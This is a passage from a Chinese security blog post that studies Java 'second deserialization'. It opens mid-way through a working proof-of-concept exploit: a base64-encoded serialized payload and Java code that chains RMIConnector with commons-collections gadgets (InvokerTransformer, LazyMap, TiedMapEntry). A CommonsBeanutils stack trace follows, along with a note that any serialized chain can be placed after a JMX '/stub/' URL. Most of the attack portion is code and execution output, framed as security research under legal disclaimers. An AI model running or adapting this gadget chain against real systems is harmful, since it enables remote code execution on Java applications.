W50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAWVGVzdFRlbXBsYXRlc0ltcGwuamF2YQAhABgAAgAAAAAAAwABAAUABgABABoAAAB8AAIAAgAAABYqtwABuAAHEg22AA9XpwAITCu2ABWxAAEABAANABAAEwADABsAAAAaAAYAAAAMAAQADgANABEAEAAPABEAEAAVABIAHAAAABYAAgARAAQAHQAeAAEAAAAWAB8AIAAAACEAAAAQAAL/ABAAAQcAGAABBwATBAABACIAIwACABoAAAA/AAAAAwAAAAGxAAAAAgAbAAAABgABAAAAFgAcAAAAIAADAAAAAQAfACAAAAAAAAEAJAAlAAEAAAABACYAJwACACgAAAAEAAEAKQABACIAKwACABoAAABJAAAABAAAAAGxAAAAAgAbAAAABgABAAAAGgAcAAAAKgAEAAAAAQAfACAAAAAAAAEAJAAlAAEAAAABACwALQACAAAAAQAuAC8AAwAoAAAABAABACkAAQAwAAAAAgAxcHQAEVRlc3RUZW1wbGF0ZXNJbXBscHcBAHhxAH4ADXg=");        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);        HashMap<Object, Object> map = new HashMap<>();        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);        HashMap<Object, Object> expMap = new HashMap<>();        expMap.put(tiedMapEntry, "test");        lazyMap.remove(rmiConnector);        setFieldValue(lazyMap,"factory", invokerTransformer);        Unser(expMap);    }    public static void Unser(Object obj) throws IOException, ClassNotFoundException {        ByteArrayOutputStream bos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(bos);        oos.writeObject(obj);        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());        ObjectInputStream ois = new ObjectInputStream(bis);        ois.readObject();    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {        Field f = obj.getClass().getDeclaredField(fieldName);        f.setAccessible(true);        f.set(obj, value);    }}

小结

栈堆

compare:171, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:721, PriorityQueue (java.util)siftDown:687, PriorityQueue (java.util)heapify:736, PriorityQueue (java.util)readObject:795, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)findRMIServerJRMP:2009, RMIConnector (javax.management.remote.rmi)findRMIServer:1926, RMIConnector (javax.management.remote.rmi)connect:287, RMIConnector (javax.management.remote.rmi)connect:249, RMIConnector (javax.management.remote.rmi)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)transform:126, InvokerTransformer (org.apache.commons.collections.functors)get:158, LazyMap (org.apache.commons.collections.map)getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)hash:338, HashMap (java.util)readObject:1397, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)Unser:41, RMIConnector_test (Double_deserialization)

从 findRMIServerJRMP:2009, RMIConnector (javax.management.remote.rmi) 后面就是走 cb 链了,总的来说就是 /stub/ 后面随便跟个base64编码序列化后的链子就行

WrapperConnectionPoolDataSource

就是c3p0的hex链

可以参考:https://bbs.zkaq.cn/t/32194.html

参考

https://xz.aliyun.com/news/13340

https://www.cnblogs.com/gaorenyusi/p/18396846

https://tttang.com/archive/1701/

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

JavaSec | 二次反序列化学习

原文始发于微信公众号(掌控安全EDU):JavaSec | 二次反序列化学习

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月25日16:03:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JavaSec | 二次反序列化学习https://cn-sec.com/archives/4096132.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息